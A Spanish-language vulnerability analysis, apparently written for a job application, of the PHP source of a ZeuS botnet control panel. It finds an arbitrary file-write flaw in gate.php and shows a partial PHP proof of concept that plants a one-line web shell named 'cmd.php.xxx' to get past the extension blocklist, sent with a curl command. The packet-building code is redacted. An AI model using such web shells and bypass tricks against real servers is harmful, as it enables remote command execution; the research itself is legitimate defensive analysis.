ZeuS C&C: Análisis

Como parte del proceso de selección para la empresa Blueliv, me pidieron analizar un panel de una Botnet con el fin de detectar vulnerabilidades y, en caso de encontrar alguna, desarrollar el exploit pertintente. A continuación se presentan las conclusiones del análisis tal y como se entregaron.

El fichero a analizar que se me envió contenia la siguiente estructura de directorios:

  • ./.idea : IDE data
  • ./cp.php : Recurso que gestiona el Panel de Control
  • ./gate.php : Recurso (Gate) por el que los bots se comunican con el panel
  • ./index.php : Nada de contenido (para evitar directory-listing en caso de mala config de apache)
  • ./install : Directorio para la instalación, únicamente hay un recurso "index.php"
  • ./system : Directorio de módulos, estos son cargados desde cp.php
  • ./theme : Recursos de "themes"
  • ./tmp : Directorio temporal
Se puede decir que existen un total de tres aplicaciones principales bien diferenciadas:

  • Instalación
    Formada únicamente por el recurso ubicado en el directorio '/install'
  • Recolectar información de los Bots
    Mediante el recurso "./gate.php" el servidor permite que los diferentes Bots se comuniquen.
  • Controlar la Botnet
    El recurso "./cp.php" gestiona todo el panel de control, todos los módulos que se incluyen en 'system' son cargados desde este.
Es importante decir, que esta información pude obtenerla después de varias horas, ya que no quise utilizar internet para buscar nada, puesto que me imaginaba que la aplicación ya estaba analizada y como tal no quería tener pistas durante mi análisis.

También debo decir que en la muestra no se incluia ningún fichero de configuración, por lo que muchos datos de constantes y demás configuraciones son inventados.

Veamos a continuación qué medidas de seguridad se implementan en cada una de las aplicaciones, el Panel de Control y la Gate para comunicarse con los bots, además de la instalación.

Aplicación: Instalación

La aplicación de la instalación, únicamente contiene el siguiente recurso:
install/
install/index.php
Haciendo una ojeada rápida de dónde se podrá influir sobre el comportamiento mediante una petición: GET/POST/HEAD..., aparecen únicamente las siguientes opciones:
# egrep -o '\$_([A-Z0-9\_-]+)' index.php   | sort -u
$_FORMITEMS
$_OUTPUT
$_POST
$_SERVER
$_TABLES
#
Tal y como se puede observar, no hay referencia alguna a COOKIE o GET. Por lo que el contenido se deberá enviar mediante POST, veamos a continuación dónde exactamente se utilizan los parámetros POST:
[..]
$pd_reports_to_db   = (isset($_POST['reports_to_db']));// && $_POST['reports_to_db'] == 1);
$pd_reports_to_fs   = (isset($_POST['reports_to_fs']));// && $_POST['reports_to_fs'] == 1);
[..]
Tal y como se observa, únicamente se comprueba si la variable ha sido asignada, no se utiliza su valor en ningún momento. Por lo que a priori nuestra influencia mediante estas variables será prácticamente nula. Sólo podremos condicionar el resultado de la función "isset" ( True / False ).

Se puede ver que no es viable una interacción típica y sencilla con este recurso. Así que, por ahora, sigamos con el resto de aplicaciones de la muestra.

Aplicación: Panel de Control

El Panel de control contiene los siguientes recursos (hay algunos más para los idiomas que se han obviado):
cp.php
system/
system//.htaccess
system//botnet_bots.php
system//botnet_scripts.php
system//fsarc.php
system//global.php
system//index.php
system//jabberclass.php
system//lng.en.php
system//lng.ru.php
system//reports_db.php
system//reports_files.php
system//reports_jn.php
system//stats_main.php
system//stats_os.php
system//sys_info.php
system//sys_options.php
system//sys_user.php
system//sys_users.php
theme/
theme//failed.png
theme//footer.html
theme//header.html
theme//index.php
theme//popupmenu.js
theme//small.html
theme//style.css
theme//throbber.gif
El recurso principal del panel es 'cp.php', el cual se encarga de cargar cada uno de los módulos ubicados en "system" en función de las peticiones recibidas. Estos módulos permiten una serie de funcionalidades de reporting que permiten al administrador descargar los datos robados mediante el troyano.

A continuación veremos las diferentes medidas de seguridad que se aplican a esta aplicación.

DIRECTIVA #define

Con el fin de evitar el acceso directo a los diferentes submódulos de la aplicación, y evitar así cualquier acceso no autorizado a las funciones de administración, se utiliza la siiguiente estrategia.

  • En el recurso 'cp.php' se ejecuta la setencia:
    #define('__CP__');
  • Todos los recursos a cargar contienen al inicio la siguiente comprobación:
    <?php if(!defined('__CP__'))die();
Esta es la teoría, de esta manera no se permite acceder directamente a ninguno de los recursos auxiliares (/system) de la aplicación. Veamos si la medida ha sido bien implementada en todos los recursos:
$ for i in `find  . -name '*php'`; do echo '****' $i;    head  -n 1 $i ; done
[..]
**** ./cp.php
<?php define('__CP__', 1);
**** ./gate.php
<?php define('__REPORT__', 1);
[..]
**** ./install/index.php
<?php define('__INSTALL__', 1);
[..]
**** ./system/botnet_bots.php
<?php if(!defined('__CP__'))die();
**** ./system/fsarc.php
<?php
[..]
**** ./system/global.php
<?php error_reporting(E_ALL); set_time_limit(0); mb_internal_encoding('UTF-8'); mb_regex_encoding('UTF-8');
[..]
**** ./system/jabberclass.php
<?php
[..]
$
Con este comando se lista la primera línea de todos los recursos para ver si en alguno de ellos no se realiza la comprobación.

Y así es, en algunos casos se define otra constante, ya que se trata de otra aplicación. Aunque hay otros pocos recursos que sí forman parte del Panel y no contienen esta comprobación, veamos por que:
**** ./system/fsarc.php
<?php
/*
  [..]
*/
function fsarcCreate($archive, $files)
{
  [..]
}
?>
En el fichero "/system/fsarc.php" únicamente se define una función, por lo que una llamada a este recurso no supone ningún riesgo a priori, ya que no ocurrirá nada.
**** ./system/global.php
<?php error_reporting(E_ALL); set_time_limit(0); mb_internal_encoding('UTF-8'); mb_regex_encoding('UTF-8');
[..]
Este contiene únicamente constantes y funciones que se utilizan a lo largo de la aplicación. Por lo que al llamarlo directamente desde el navegador, al igual que en el caso anterior, no ocurrirá nada. A menos que exista algun error de syntaxis y éste se incluya en la respuesta del servidor.
**** ./system/jabberclass.php
<?php
class Jabber
{
 [..]
}
?>
En este último simplemente se define una clase. Y si fuera llamado directamente ocurriría lo mismo que en los demás casos.

Por todo esto parece ser que la medida se ha aplicado correctamente y no será posible acceder a ninguno de estos recursos de los diferentes módulos sin previa autenticacióin. Continuemos con las medidas de seguridad utilizadas.

FUNCIÓN addslashes

Para detectar si existe la posibilidad de inyectar código SQL en algún punto, se han comprobado las diferentes llamadas a la función que ejecuta las sentencias SQL:
mysql_query
Esta función se llama en los siguientes recursos:
/gate.php
/install/index.php
/system/global.php
En el fichero '/system/global.php' aparece la única llamada directa a la librería MySQL que se realiza en el Panel, las otras llamadas corresponden a las otras aplicaciones.

La porción de código que ejecuta la función "mysql_query" se encuentra en la definición de la función "mysqlQueryEx":
function mysqlQueryEx($table, $query)
{
  $r = @mysql_query($query);
  if($r === false)
  {
    $err = @mysql_errno();
    if(($err === 145 || $err === 1194) && @mysql_query("REPAIR TABLE `{$table}`") !== false)$r = @mysql_query($query);
  }
  return $r;
}
Esta función se utiliza a lo largo del panel de control para ejecutar las difernetes sentencias SQL. Por lo que deberemos buscar los puntos en los que se utiliza. Mediante un simple grep es posible encontrar sus apariciones y comprobar si los parámetros se filtran correctamente.
$ grep -Hnr mysqlQueryEx *
cp.php:56:      if(mysqlQueryEx('cp_users', "SELECT `id` FROM `cp_users` WHERE `name`='".addslashes($user)."' AND `pass`='".addslashes($pass)."' AND `flag_enabled`=1 LIMIT 1") && @mysql_affected_rows() == 1)

cp.php:102:  if(($r = mysqlQueryEx('cp_users', "SELECT * FROM `cp_users` WHERE `name`='".addslashes($_SESSION['name'])."' AND `pass`='".addslashes($_SESSION['pass'])."' AND `flag_enabled`=1 LIMIT 1")))$logined = @mysql_affected_rows();

cp.php:108:  if(($r = mysqlQueryEx('cp_users', "SELECT * FROM `cp_users` WHERE MD5(`name`)='".addslashes($_COOKIE[COOKIE_USER])."' AND `pass`='".addslashes($_COOKIE[COOKIE_PASS])."' AND `flag_enabled`=1 LIMIT 1")))$logined = @mysql_affected_rows();

cp.php:210:        mysqlQueryEx('botnet_list', "UPDATE `botnet_list` SET `flag_used`='".($_POST['used'][$i] == 1 ? 1 : 0)."', `comment`='".addslashes(substr($_POST['comment'][$i], 0, 250))."' WHERE `bot_id`='".addslashes($bot)."' LIMIT 1");
[..]
system/botnet_scripts.php:14:  if(!mysqlQueryEx('botnet_scripts', "UPDATE botnet_scripts SET flag_enabled='".($_GET['enable'] ? 1 : 0)."' WHERE id='".addslashes($_GET['status'])."' LIMIT 1"))ThemeMySQLError();
[..]
$
Hay múltiples llamadas, sin embargo, si tenemos en cuenta únicamente las sentencias en las que podemos influir de manera directa, en prácticamente la totalidada de ellas se ejecuta la función "addslashes" antes de utilizar los parámetros. En otros casos se utilizan otro tipo de estratégias y funciones.

Por lo que en principio la inyección SQL parece haberse tenido en cuenta durante el desarrollo de la aplicación y no será sencillo encontrar alguna, si existe. Teniendo esto en mente, continuemos con el proceso de autenticación del Panel.

Proceso de Autenticación

El Proceso de Autenticación es un punto crítico para todas las aplicaciones, el siguiente código muestra todo este proceso: la autenticación y posterior comprobación de la sesión una vez el usuario ya ha sido autenticado. Se encuentra en el fichero 'cp.php' y se puede dividir todo el proceso en tres bloques:

Bloque de Login mediante $_POST

En esta porción de código se realiza únicamente la autenticación, para ello se utilizan los parámetros POST 'user' y 'pass' con el fin de validarlos datos con la base de datos. Si los credenciales son correctos se asignan las variables de sesión y cookie adecuadas para continuar con la navegación. Hay que tener en cuenta que se utiliza la función 'addslashes' en todos los casos, por lo que una inyección SQL quedaría descartada en este bloque de código.

Para que el flujo de ejecución entre en la condición, se deberá llamar al recurso con el parámetro 'QUERY_VAR_MODULE' asignado a 'login', o, lo que es lo mismo: 'cp.php?m=login' , ya que 'QUERY_VAR_MODULE' se define en el propio recurso 'cp.php' como 'm'.
//Manage login.
if(!empty($_GET[QUERY_VAR_MODULE]))
{
  //Login form.
  if(strcmp($_GET[QUERY_VAR_MODULE], 'login') === 0)
  {
    unlockSessionAndDestroyAllCokies();

    if(isset($_POST['user']) && isset($_POST['pass']))
    {
      $user = $_POST['user'];
      $pass = md5($_POST['pass']);

      //Check login.
      if(mysqlQueryEx('cp_users', "SELECT `id` FROM `cp_users` WHERE `name`='".addslashes($user)."' AND `pass`='".addslashes($pass)."' AND `flag_enabled`=1 LIMIT 1") && @mysql_affected_rows() == 1)
      {
        if(isset($_POST['remember']) && $_POST['remember'] == 1)
        {
          setcookie(COOKIE_USER, md5($user), COOKIE_LIVETIME, CP_HTTP_ROOT);
          setcookie(COOKIE_PASS, $pass,      COOKIE_LIVETIME, CP_HTTP_ROOT);
        }

        lockSession();
        $_SESSION['name'] = $user;
        $_SESSION['pass'] = $pass;
        //unlockSession();

        header('Location: '.QUERY_STRING_BLANK.'home');
      }
      else
      {
        sleep(5); //Antibrut.
        showLoginForm(true);
      }
      die();
    }

    showLoginForm(false);
    die();
  }
Al final se puede ver un "sleep(5)" el cual hace inviable cualquier ataque por fuerza bruta, ya que cada iteración serían 5 segundos de retardo. En principio esta zona esta límpia de ataques de inyección de cualquier tipo al utilizar la función 'addslashes' y no interactuar con nada más que la base de datos.

Por otra parte, me resulta particularmente curioso el contenido de la COOKIE que se asigna, el password en claro y el usuario en MD5...

Bloque de comprobación de sesión mediante $_SESSION

Si no se ejecuta el bloque anterior porque no se ha llamado al módulo 'login', la aplicación comprueba los valores de sesión asignados préviamente, si existen.

En este punto no es posible intervenir desde el cliente, ya que $_SESSION se almacena en el servidor, y sus valores son asignados de forma local en el, tal y como se muestra en el código de Login anterior.
$logined = 0; //Distintivo que indica si nos autenticamos.

//Acceda a través de la sesión.
lockSession(); // session_start
if(!empty($_SESSION['name']) &∓ !empty($_SESSION['pass']))
{
  if(($r = mysqlQueryEx('cp_users', "SELECT * FROM `cp_users` WHERE `name`='".addslashes($_SESSION['name'])."' AND `pass`='".addslashes($_SESSION['pass'])."' AND `flag_enabled`=1 LIMIT 1")))$logined = @mysql_affected_rows();
}

Comprobación para acceder mediante $_COOKIE

Finalmente, la última comprobación es mediante el uso de la $_COOKIE. En este punto se podría influir sobre los valores de entrada, pero al igual que en los casos anteriores, el uso de la función 'addslashes' imposibilita la inyección. Para conesguir que el flujo de ejecución llegue a este punto del código no se debe enviar el parámetro 'm' y no se debe haber iniciado sesión previamente.
//Ingresar a través de cookies.
if($logined !== 1 && !empty($_COOKIE[COOKIE_USER]) && !empty($_COOKIE[COOKIE_PASS]))
{
  if(($r = mysqlQueryEx('cp_users', "SELECT * FROM `cp_users` WHERE MD5(`name`)='".addslashes($_COOKIE[COOKIE_USER])."' AND `pass`='".addslashes($_COOKIE[COOKIE_PASS])."' AND `flag_enabled`=1 LIMIT 1")))$logined = @mysql_affected_rows();
}
Si al llegar a este punto todavia no se ha asignado la variable $logined, se redirige el navegador hacia la página de Login tal y como se muestra a continuación:
//No se puede acceder.
if($logined !== 1)
{
  unlockSessionAndDestroyAllCokies();
  sleep(5); //Antibrut.
  header('Location: '.QUERY_STRING_BLANK.'login');
  die();
}
Segun parece, el Panel de Control se encuentra bien protegido a simple vista. Sigamos ahora con la última aplicación, a ver si hay más suerte.

Aplicación: Gate

La otra aplicación disponible en el paquete es la que utilizan los bots para reportar información al servidor y se encuentra en el recurso 'gate.php'. Esta se encuentra fuera del Panel de Control, por lo que no se rige con los mismos principios de seguridad, no contiene comprobación de la constante __CP__ ni la necesidad de usuario y contraseña.

Después de haber analizado los códigos anteriores, en este punto ya únicamente relizé análisis manual al tratarse de un único recurso y no haber visto nada extraño en las pruebas anteriores más generales.

Mirando bloques discontínuos de código, en este recurso encontré una porción de código muy interesante que sirve para escribir ficheros en disco con los LOGS enviados por el Bot y que aparentemente es explotable:
if(!createDir(dirname($file_path)) || !($h = fopen($f, 'wb')))die();

  flock($h, LOCK_EX);
  fwrite($h, $list[SBCID_BOTLOG]);
  flock($h, LOCK_UN);
  fclose($h);

  break;
}
Tal y como veremos a continuación, todas las variables que aparecen en este código se asignan con los datos enviados por el Bot. Por lo que se pueden modificar arbitráreamente. Veamos que condiciones se deben cumplir, y si es realmente posible explotar este código. El código queda entrecortado, pues se han ido poniendo aclaraciones a lo largo del mismo:
'gate.php':

<?php define('__REPORT__', 1);
/*
Gate.
  
   Protocol bot <-> server is a side bot - sending report about something
   and on the server side - sending changes to the settings (or commands). From the side of the bot at a time
   sent information about one event / object.
*/

if(@$_SERVER['REQUEST_METHOD'] !== 'POST')die();
La petición debe ser de tipo POST.
require_once('system/global.php');
require_once('system/config.php');

//Get the data.
$data     = @file_get_contents('php://input');
El contenido del post se almacena en $data.
$dataSize = @strlen($data);
if($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE)die();
El contenido recibido debe ser mayor que: HEADER_SIZE + ITEM_HEADER_SIZE , cuyos valores son:

  define('HEADER_SIZE',      48);
  define('ITEM_HEADER_SIZE', 16);
Seguidamente se realiza un cifrado rc4 con la clave de la Botnet, el cual se encuentra en el fichero ejecutable encargado de la infección (este dato sí que lo tuve que buscar en internet, pues no sabia como saltar este punto):
rc4($data, $config['botnet_cryptkey_bin']);
visualDecrypt($data);
Y se procesa un descifrado con la función visualDecrypt, cuyo código se muestra a continuación:

function visualDecrypt(&$data)
{
  $len = strlen($data);
  if($len > 0)for($i = $len - 1; $i > 0; $i--)$data[$i] = chr(ord($data[$i]) ^ ord($data[$i - 1]));
}
Por lo que en realidad únicamente realiza operaciones de XOR entre los diferentes bytes del mensaje.
//Verefikatsiya. If the same MD5, it makes no sense to check something else.
if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die();
En este punto se comprueba que el MD5 de la cabecera concuerde con el que resulta de procesar el payload del paquete.
// Parse the data (Data compression is not supported.)
// Congratulations mega hackers, this algorithm will allow you to safely read data bot.
// Do not forget to write parsers and 18 100 backdoors.
$list = array();
for($i = HEADER_SIZE; $i < $dataSize;)
{
  $k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE));
  $list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]);
  $i += (ITEM_HEADER_SIZE + $k[3]);
}
unset($data);
Los datos de entrada se procesan para generar un array llamado $list, el cual es utilizado a lo largo del recurso para concretar las operaciones. De esta manera será posible manipular el flujo de ejecución arbitráriamente.
// The main parameters that should be always.
if(empty($list[SBCID_BOT_VERSION]) || empty($list[SBCID_BOT_ID]))die();

//Connect to the database.
if(!connectToDb())die();

///////////////////////////////////////////////////////////////
// Process the data
//////////////////////////////////////////////////////

$botId      = str_replace("\x01", "\x02", trim($list[SBCID_BOT_ID]));
$botIdQ     = addslashes($botId);
$botnet     = (empty($list[SBCID_BOTNET])) ? DEFAULT_BOTNET : str_replace("\x01", "\x02", trim($list[SBCID_BOTNET]));
$botnetQ    = addslashes($botnet);
$botVersion = toUint($list[SBCID_BOT_VERSION]);
$realIpv4   = trim((!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']));
$country    = getCountryIpv4(); //str_replace("\x01", "\x02", GetCountryIPv4());
$countryQ   = addslashes($country);
$curTime    = time();

//Report on the execution of the script.
if(!empty($list[SBCID_SCRIPT_ID]) && isset($list[SBCID_SCRIPT_STATUS], $list[SBCID_SCRIPT_RESULT]) && strlen($list[SBCID_SCRIPT_ID]) == 16)
{
  if(!mysqlQueryEx('botnet_scripts_stat',
                   "INSERT INTO `botnet_scripts_stat` SET `bot_id`='{$botIdQ}', `bot_version`={$botVersion}, `rtime`={$curTime}, ".
                   "`extern_id`='".addslashes($list[SBCID_SCRIPT_ID])."',".
                   "`type`=".(toInt($list[SBCID_SCRIPT_STATUS]) == 0 ? 2 : 3).",".
                   "`report`='".addslashes($list[SBCID_SCRIPT_RESULT])."'"))die();
}
//Recording logs / files.
else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE]))
{
  $type = toInt($list[SBCID_BOTLOG_TYPE]);

  if($type == BLT_FILE)
  {
    //Extensions, which are able to remotely run.
    $bad_exts = array('.php3', '.php4', '.php5', '.php', '.asp', '.aspx', '.exe', '.pl', '.cgi', '.cmd', '.bat', '.phtml', '.htaccess');
    $fd_hash  = 0;
    $fd_size  = strlen($list[SBCID_BOTLOG]);

    //Form a file name.
    if(isHackNameForPath($botId) || isHackNameForPath($botnet))die();
En este punto se comprueba si ha habido algún intento de ataque. El contenido de la función isHackNameForPath se muestra a continuación:

function isHackNameForPath($name)
{
  $len = strlen($name);
  return ($len > 0 && substr_count($name, '.') <$len && strpos($name, '/') === false && strpos($name, "\\") === false && strpos($name, "\x00") === false) ? false : true;
}
Se realizan una serie de validaciones para evitar ciertos tipos de inyecciones o abusos, como PathTraversal o NULL byte en el nombre del fichero a escribir. Continuemos con el código:
    $file_root = $config['reports_path'].'/files/'.urlencode($botnet).'/'.urlencode($botId);
    $file_path = $file_root;
    $last_name = '';
    $l = explode('/', (isset($list[SBCID_PATH_DEST]) && strlen($list[SBCID_PATH_DEST]) > 0 ? str_replace('\\', '/', $list[SBCID_PATH_DEST]) : 'unknown'));
    foreach($l as &$k)
    {
      if(isHackNameForPath($k))die();
      $file_path .= '/'.($last_name = urlencode($k));
    }
    if(strlen($last_name) === 0)$file_path .= '/unknown.dat';
    unset($l);

    //Check the extension and specify the file mask.
    if(($ext = strrchr($last_name, '.')) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat';
    $ext_pos = strrpos($file_path, '.');
En este punto se acaba de comprobar que la extensión del fichero no sea una de las prohibidas. Sin embargo, únicamente se miran la última extensión, más adelante veremos como es posible saltar este tipo de validación. Tambíen se comprueba si el fichero contiene almenos un ".".
    //FIXME: If the name is too big.
    if(strlen($file_path) > 180)$file_path = $file_root.'/longname.dat';

    //Adding file.
    for($i = 0; $i < 9999; $i++)
    {
      if($i == 0)$f = $file_path;
      else $f = substr_replace($file_path, '('.$i.').', $ext_pos, 1);

      if(file_exists($f))
      {
        if($fd_size == filesize($f))
        {
          if($fd_hash === 0)$fd_hash = md5($list[SBCID_BOTLOG], true);
          if(strcmp(md5_file($f, true), $fd_hash) === 0)break;
        }
      }
      else
      {
        if(!createDir(dirname($file_path)) || !($h = fopen($f, 'wb')))die();

        flock($h, LOCK_EX);
        fwrite($h, $list[SBCID_BOTLOG]);
        flock($h, LOCK_UN);
        fclose($h);

        break;
        
      }
    }
  }
  else
  {
    [..]
Si se cumplen todas estas condiciones, se llega al código que permite escribir un fichero en disco. Así pués, parece factible explotar este código y escribir un fichero en el sistema.

Explotación

Para explotar esta vulnerabilidad debemos hacernos pasar por un Troyano y para ello deberemos tener en cuenta las condiciones que se deben superar hasta llegar a la escritura del fichero.

  • Petición por POST
  • Paquete segun el siguiente formato:
    • 32 bytes : Cabecera/Padding useless
    • 16 bytes : MD5 del payload
    • XX bytes : Bloques de parámetros con el siguiente formato:
      • 16 bytes : cabecera: pack("L4", <idx>, <any>, <len>, <any> );
      • <len> bytes : contenido del parametro para el índice: <idx>

  • Paquete codificado mediante la función visualEncryption
  • Paquete cifrado en rc4, la clave deberá sacarse de una muestra del Troyano
  • SBCID_BOT_ID y SBCID_BOT_VERSION activos
  • SBCID_BOTLOG y SBCID_BOTLOG_TYPE activos
  • SBCID_BOTLOG_TYPE = BLT_FILE
  • SBCID_PATH_DEST nombre del fichero, no puede terminar en extension prohibida.
  • SBCID_BOTLOG contenido del fichero.

Todas las condiciones anteriores son relativamente sencillas de cumplir. Para genera el paquete y realizar los cifrados y codificaciones que se requieren utilizaremos las propias funciones del panel para desarollar el exploit (en PHP). De esta manera evitaremos cualquier tipo de error que se pueda producir por difrerencias de comportamiento entre lenguajes/librerías.

Otro punto importante es el de la extensión del fichero a generar. Ya que esta no puede terminar en 'php' ni ninguna otra de las extensiones listadas en el array de prohibidas. Por suerte muchos servidores, si desconocen la última extensión del fichero, prueban la siguiente. Es decir: fichero.php.xxx se interpretará como si fuera PHP, pues la extensión xxx no es reconocida.

A continuación se presenta un PoC que genera un fichero con los datos necesarios para enviarse mediante POST al servidor en el formato adecuado:
<?php
[..]
//Funciones necesarias originales del panel (rc4Init, rc4, visualEncrypt)
[..]

/******  DEMO VALUES ******/
define('SBCID_BOTNET', 1);
define('SBCID_BOT_VERSION',11);
define('SBCID_BOT_ID',32);
define('SBCID_BOTLOG',123);
define('SBCID_BOTLOG_TYPE',22);
define('BLT_FILE',132);
define('SBCID_PATH_DEST',99);
define("KEY","TestKey");

$params = Array();
$params[SBCID_BOTNET] = "something1";
$params[SBCID_BOT_VERSION] = "something2";
$params[SBCID_BOTLOG] = '<?php system($_GET[\'c\']); ?>';
$params[SBCID_BOTLOG_TYPE] = BLT_FILE;
$params[SBCID_PATH_DEST] ='cmd.php.xxx';
$params[SBCID_BOT_ID] = '123';
/*******************************/

/*
 *  código de generación del paquete
 *  eliminado del análisis publicado
 *
 */

echo "$payload";

?>
Los valores de las constantes definidas, así como los parámetros del array "$params" han sido totalmente inventados para mostrar el funcionamiento. Al no disponer de un fichero de configuración de ejemplo ni una muestra del binario, no he podido realizar el exploit utilizable en un entorno real. Por eso este script permite personalizar los valores que luego se utilizarán en el recurso "gate.php".

Este software muestra por pantalla una cadena que al enviarse, el servidor interpretará como una lista correctamente formada. De manera que se podrá llegar a explotar la vulnerabilidad ajustando los parámetros a enviar con sus valores adecuados.

Para comprobar su funcionamiento, bastará añadir un var_dump($list) después de realizar el cast de los datos enviados por POST al array $list, todo esto en el recurso gate.php (o un extracto del mismo):
gate.php

[..]
 for($i = HEADER_SIZE; $i < $dataSize;)
{
 $k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE));
 $list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]);
 $i += (ITEM_HEADER_SIZE + $k[3]);
}
unset($data);

echo var_dump($list)."\n";
[..]
Para utilizar el exploit y comprobar que, efectivamente, funciona, se puede hacer de la siguiente forma (bastante manual por ahora):
$ php exploit.php > input_form.txt
$ curl -s --data-binary @input_form.txt http://localhost/test.php
array(6) {
  [1]=>
  string(10) "something1"
  [11]=>
  string(10) "something2"
  [123]=>
  string(28) "<?php system($_GET['c']); ?>"
  [22]=>
  string(3) "132"
  [99]=>
  string(11) "cmd.php.xxx"
  [32]=>
  string(3) "123"
}

$
Tal y como se puede observar los datos se envían correctamente.

A tener en cuenta

Este análisis ha estado limitado en el tiempo, es posible que con más tiempo se pudiera haber hecho un análisis más exhaustivo de la aplicación y aparecer alguna otra vulnerabilidad nueva.

Asimismo, los valores de las constantes definidas y utilizadas en el exploit, así como la clave RC4 utilizada, en un entorno real deberían conseguirse mediante el análisis del Troyano o accediendo al fichero config.php del panel objetivo.

EOF